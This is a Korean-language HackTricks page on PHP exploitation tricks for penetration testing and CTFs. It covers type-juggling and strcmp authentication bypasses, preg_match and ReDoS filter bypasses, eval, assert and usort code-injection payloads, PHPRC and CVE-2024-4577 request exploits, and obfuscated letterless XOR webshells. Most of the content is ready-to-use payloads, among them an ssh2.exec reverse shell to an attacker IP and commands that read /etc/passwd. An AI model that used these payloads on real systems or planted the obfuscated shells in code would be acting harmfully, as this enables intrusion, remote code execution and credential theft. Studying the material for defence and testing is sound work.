PHP 트릭

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Cookies 공통 위치:

이는 phpMyAdmin cookies에도 해당됩니다.

Cookies:

PHPSESSID
phpMyAdmin

위치:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP 비교 우회

느슨한 비교/Type Juggling ( == )

PHP에서 ==가 사용되면 비교가 예상과 다르게 동작하는 예외적인 경우가 존재합니다. 이는 “==“가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교 대상의 타입까지 동일한지 확인하려면 ===를 사용해야 합니다.

PHP 비교 표: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 숫자로 시작하지 않는 문자열은 숫자와 같다고 간주된다
  • "0xAAAA" == "43690" -> True 십진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 같다면 다른 숫자/문자열과 비교했을 때 True가 될 수 있다 (문자열의 숫자는 숫자로 해석된다)
  • "0e3264578" == 0 --> True “0e“로 시작하고 뒤에 어떤 내용이 오더라도 0과 같게 취급된다
  • "0X3264578" == 0X --> True “0“로 시작하고 그 다음에 어떤 글자(X는 어떤 글자든 될 수 있음)가 오며 그 뒤에 어떤 내용이 오더라도 0과 같게 취급된다
  • "0e12334" == "0" --> True 매우 흥미로운 점은, 일부 경우에 “0“의 문자열 입력과 해시되어 비교되는 내용을 제어할 수 있다는 것입니다. 따라서 해시가 “0e“로 시작하고 문자 없이 숫자만 있는 값을 만들 수 있다면 비교를 우회할 수 있습니다. 이 형식의 이미 해시된 문자열은 여기에서 찾을 수 있습니다: https://github.com/spaze/hashes
  • "X" == 0 --> True 문자열의 어떤 문자라도 정수 0과 같다

자세한 정보: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling은 기본적으로 in_array() 함수에도 영향을 준다 (엄격한 비교를 위해서는 세 번째 인수를 true로 설정해야 한다):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

이 함수가 any authentication check (like checking the password)에 사용되고 사용자가 비교의 한쪽을 제어할 수 있다면, 그는 password 값으로 문자열 대신 빈 배열을 보낼 수 있고 (https://example.com/login.php/?username=admin&password[]=) 이 검사를 우회할 수 있습니다:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

strcasecmp()에서도 동일한 오류가 발생합니다

엄격한 타입 저글링

===사용되고 있더라도 비교가 타입 저글링취약해질 수 있는 오류가 있을 수 있습니다. 예를 들어, 비교를 수행하기 전에 데이터를 다른 타입의 객체로 변환하는 경우:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

**preg_match()**는 validate user input에 사용될 수 있다 (이는 blacklist의 어떤 word/regexuser inputpresent하는지 checks하고, 없다면 코드가 계속 실행될 수 있다).

New line bypass

그러나 regexp의 시작을 한정할 때 preg_match()only checks the first line of the user input. 따라서 입력을 several linessend할 수 있다면 이 검사를 우회할 수 있다. 예:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

이 검사를 우회하려면 값을 개행 문자로 URL 인코딩하여 전송 (%0A)하거나 JSON data를 전송할 수 있다면 여러 줄로 보내세요:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(This bypass was tried apparently on PHP 5.2.5 and I couldn’t make it work on PHP 7.3.15)
만약 preg_match()에 유효한 매우 큰 입력을 보낼 수 있다면, preg_match()는 이를 처리하지 못하게 되고 검사를 bypass할 수 있습니다. 예를 들어, JSON을 blacklisting하고 있다면 다음과 같이 보낼 수 있습니다:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

출처: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

기법 출처: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

간단히 말하면, 이 문제는 PHP의 preg_* 함수가 PCRE library를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규식이 많은 재귀 호출을 사용해 매칭되며, 이는 스택 공간을 많이 소모합니다. 허용되는 재귀 횟수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 defaults to 100.000으로 스택에 들어갈 수 있는 양보다 큽니다.

This Stackoverflow thread도 게시물에서 링크되어 이 이슈에 대해 더 깊게 다루고 있었습니다. 우리의 목표는 이제 명확해졌습니다:
정규식이 100_000+ “recursions“를 수행하게 만들어 SIGSEGV를 일으키고, preg_match()false를 반환하게 하여 애플리케이션이 우리의 입력을 악성으로 판단하지 못하게 만든 뒤, 페이로드 끝에 {system(<verybadcommand>)} 같은 서프라이즈를 넣어 SSTI –> RCE –> flag :).

글쎄요, regex 관점에서는 실제로 100k “recursions“를 하는 것이 아니라 “backtracking steps“를 세는 것입니다. PHP documentation에 따르면 pcre.backtrack_limit 변수의 기본값은 1_000_000 (1M)입니다.
그 수에 도달하려면 'X'*500_001이 총 100만 backtracking steps(500k forward and 500k backwards)를 만들어냅니다:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling을 이용한 PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

PHP가 다른 페이지로 리다이렉트하고 있지만, die 또는 exit 함수가 header Location이 설정된 후에 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

추가 팁

  • register_globals: PHP < 4.1.1.1 또는 잘못 설정된 경우 register_globals가 활성화되어 있거나 그 동작이 흉내나고 있을 수 있습니다. 이는 $_GET 같은 전역 변수에 값이 있을 때(예: $_GET[“param”]=“1234”) $param으로 접근할 수 있다는 것을 의미합니다. 따라서 HTTP 파라미터를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.
  • The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
    이렇게 하면 두 경로가 동일한 이름의 변수를 접근할 경우, path1의 변수 값을 path2에 적용되도록 만들 수 있습니다. 그 결과 path2는 path1의 변수를 유효한 것으로 받아들이게 됩니다(해당 쿠키에 path2에서 사용하는 이름을 부여함으로써).
  • 머신의 usernames를 알고 있다면 주소 /~<USERNAME> 를 확인해 php 디렉터리가 활성화되어 있는지 확인하세요.
  • PHP 설정에 register_argc_argv = On 이면 공백으로 구분된 쿼리 파라미터가 CLI 인자처럼 array_keys($_SERVER['argv']) 배열을 채우는 데 사용됩니다. 흥미로운 점은 이 설정이 꺼져 있으면 웹에서 호출할 때 args 배열의 값이 Null이 된다는 것입니다(배열이 채워지지 않음). 따라서 웹 페이지가 if (empty($_SERVER['argv'])) { 같은 비교로 웹인지 CLI인지 판별하면, 공격자는 GET 요청에 ?--configPath=/lalala 같은 파라미터를 보내 애플리케이션이 CLI로 실행되는 것으로 판단하게 하고 그 인자를 파싱·사용하게 만들 수 있습니다. 자세한 내용은 원문 writeup을 참조하세요.
  • LFI and RCE using php wrappers

password_hash/password_verify

이 함수들은 일반적으로 PHP에서 비밀번호로부터 해시를 생성하고 해시와 비교하여 비밀번호가 올바른지 검증하는 데 사용됩니다.
지원되는 알고리즘은 PASSWORD_DEFAULTPASSWORD_BCRYPT($2y$로 시작)입니다. PASSWORD_DEFAULT는 종종 PASSWORD_BCRYPT와 동일합니다. 그리고 현재 PASSWORD_BCRYPT는 입력에 대해 72bytes의 크기 제한이 있습니다. 따라서 이 알고리즘으로 72bytes보다 큰 데이터를 해시하면 처음 72B만 사용됩니다:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

this twitter thread에서 볼 수 있듯이, 1000개 이상의 GET params 또는 1000개 이상의 POST params 또는 20개의 files를 전송하면 PHOP는 응답에 headers를 설정하지 않습니다.

예를 들어 다음과 같은 코드에서 CSP headers가 설정되는 것을 우회할 수 있게 합니다:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

헤더 설정 전에 바디 채우기

만약 PHP 페이지가 에러를 출력하고 사용자 제공 입력을 그대로 echo 하는 경우, 사용자는 PHP 서버가 응답에 헤더를 추가하려 할 때 오류를 발생시키도록 충분히 긴 내용을 출력하게 할 수 있습니다.
다음 시나리오에서는 공격자가 서버에 큰 에러를 발생시켰고, 화면에서 보듯이 PHP가 헤더 정보를 수정하려 했지만 할 수 없었습니다 (예: CSP 헤더가 사용자에게 전송되지 않음):

PHP 함수에서의 SSRF

해당 페이지를 확인:

PHP SSRF

ssh2.exec stream wrapper RCE

When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

localhost SSH를 통해 shell 명령을 실행하기에 충분합니다:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • 자격 증명 부분은 예: cracked bcrypt hashes에서 얻은 leaked system password를 재사용할 수 있습니다.
  • 끝의 #는 서버 측 접미사 (files/<id>.zip)를 주석 처리하므로, 오직 당신의 명령만 실행됩니다.
  • Blind RCE는 tcpdump -ni tun0 icmp로 아웃바운드 트래픽을 관찰하거나 HTTP canary를 제공하여 확인합니다.

검증되면 명령을 reverse shell payload로 교체하세요:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

모든 것이 PHP 워커 내부에서 발생하므로 TCP 연결은 target에서 시작되어 주입된 계정(yuri, eric 등)의 권한을 상속받습니다.

Code execution

system(“ls”);
ls;
shell_exec(“ls”);

Check this for more useful PHP functions

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

replace 인수의 코드를 실행하려면 최소 한 번의 매치가 필요합니다.
preg_replace의 이 옵션은 PHP 5.5.0부터 더 이상 사용되지 않습니다.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()를 통한 RCE

php 내의 이 함수는 문자열에 작성된 코드를 실행하여 결과로 true 또는 false를 반환하도록 허용합니다(그리고 이에 따라 실행을 변경할 수 있습니다). 보통 사용자 변수는 문자열 중간에 삽입됩니다. 예:
assert("strpos($_GET['page']),'..') === false") –> 이 경우 RCE를 얻기 위해 다음과 같이 할 수 있습니다:

?page=a','NeVeR') === false and system('ls') and strpos('a

코드의 syntax깨고, payload추가한 다음, 다시 수정해야 합니다. and 연산자나 %26%26, | 같은 logic operations를 사용할 수 있습니다. “or”, “||“는 동작하지 않는데, 첫 번째 조건이 true이면 우리의 payload가 실행되지 않기 때문입니다. 마찬가지로 “;“도 동작하지 않으며 payload가 실행되지 않습니다.

Other option은 문자열에 다음 명령 실행을 추가하는 것입니다: '.highlight_file('.passwd').'

Other option (내부 코드를 알고 있는 경우)은 실행을 변경하기 위해 변수를 수정하는 것입니다: $file = "hola"

usort()를 통한 RCE

이 함수는 특정 함수를 사용해 배열의 항목을 정렬하는 데 사용됩니다.
이 함수를 악용하려면:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

닫아야 할 괄호의 개수를 알아내는 방법:

  • ?order=id;}//: 에러 메시지(Parse error: syntax error, unexpected ';')가 뜹니다. 아마 하나 이상의 괄호가 빠졌습니다.
  • ?order=id);}//: warning가 뜹니다. 적절해 보입니다.
  • ?order=id));}//: 에러 메시지(Parse error: syntax error, unexpected ')' i)가 뜹니다. 닫는 괄호가 너무 많을 가능성이 큽니다.

RCE via .httaccess

만약 .htaccessupload할 수 있다면, 여러 설정을 configure하고 심지어 코드 실행도 가능하게 만들 수 있습니다(.htaccess 확장자를 실행 가능하도록 설정하는 등).

다양한 .htaccess shells는 here에서 찾을 수 있습니다.

RCE via Env Variables

만약 PHP에서 env variablesmodify할 수 있는 취약점(그리고 파일을 upload할 수 있는 또 다른 취약점, 단 추가 연구로 우회 가능할 수 있음)을 찾는다면, 이 동작을 악용해 RCE를 획득할 수 있습니다.

  • LD_PRELOAD: 이 env 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드하도록 허용합니다(이 경우 작동하지 않을 수도 있음).
  • PHPRC : PHP가 설정 파일(일반적으로 php.ini)을 어디서 찾을지 지시합니다. 자체 설정 파일을 upload할 수 있다면, PHPRC로 PHP가 그 파일을 사용하도록 지정하세요. 두 번째로 upload한 파일을 지정하는 auto_prepend_file 항목을 추가합니다. 이 두 번째 파일은 일반 PHP code를 포함하고 있으며, PHP 런타임이 다른 코드보다 먼저 이를 execute합니다.
  1. Upload a PHP file containing our shellcode
  2. Upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1
  3. Set the PHPRC variable to the file we uploaded in step 2.
  • 이 체인을 실행하는 방법에 대한 자세한 정보는 from the original report에서 확인하세요.
  • PHPRC - 또 다른 옵션
  • 만약 파일을 upload할 수 없다면, FreeBSD에서는 요청의 body가 담긴 **stdin**을 포함하는 파일 /dev/fd/0을 사용할 수 있습니다:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • 또는 RCE를 얻기 위해 **allow_url_include**를 활성화하고 base64 PHP code로 파일을 prepend할 수 있습니다:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

웹서버는 HTTP 요청을 파싱하여 PHP 스크립트로 전달하고, 예를 들어 http://host/cgi.php?foo=bar 같은 요청을 php.exe cgi.php foo=bar로 실행합니다. 이 동작은 parameter injection을 허용합니다. 이는 요청의 body에서 PHP code를 로드하도록 다음과 같은 파라미터를 inject할 수 있게 합니다:

-d allow_url_include=1 -d auto_prepend_file=php://input

또한 PHP의 이후 정규화 때문에 0xAD 문자로 “-” 파라미터를 주입할 수 있습니다. 익스플로잇 예제는 this post에서 확인하세요:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post 에서는 아주 적은 수의 문자만 허용되는 상황에서 brain fuck PHP 코드를 생성할 훌륭한 아이디어를 찾을 수 있습니다.
또한 여러 검사를 bypass할 수 있게 해주는 함수 실행 방법도 제안되어 있습니다:

(1)->{system($_GET[chr(97)])}

PHP Static analysis

다음 함수 호출에 code를 삽입할 수 있는지 확인해 보세요 (from here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

PHP 애플리케이션을 디버깅하는 경우 전역적으로 에러 출력을 활성화하려면 /etc/php5/apache2/php.inidisplay_errors = On을 추가하고 Apache를 재시작하세요: sudo systemctl restart apache2

PHP 코드 난독화 해제

PHP 코드를 디오브퓨스하려면 www.unphp.net 을(를) 사용할 수 있습니다.

PHP Wrappers & Protocols

PHP 래퍼와 프로토콜은 시스템의 쓰기 및 읽기 보호를 우회하여 시스템을 손상시킬 수 있습니다. 자세한 내용은 more information check this page.

Xdebug unauthenticated RCE

phpconfig() 출력에서 Xdebugenabled로 표시되면 https://github.com/nqxcode/xdebug-exploit 를 통해 RCE를 시도해보세요

변수의 변수

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE 악용 new $_GET[“a”]($_GET[“b”])

페이지에서 임의의 클래스의 새 객체를 생성할 수 있다면 RCE를 얻을 수 있을지도 모릅니다. 방법을 알아보려면 다음 페이지를 확인하세요:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

문자 없이 PHP 실행

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

8진수 사용

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

this writeup 에 따르면 다음과 같이 간단한 shellcode를 생성할 수 있다:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

따라서, 만약 당신이 execute arbitrary PHP without numbers and letters 할 수 있다면, 다음과 같은 request를 전송하여 그 payload를 악용해 execute arbitrary PHP할 수 있습니다:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

자세한 설명은 https://ctf-wiki.org/web/php/php/#preg_match를 참고하세요

XOR Shellcode (inside eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl과 유사

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기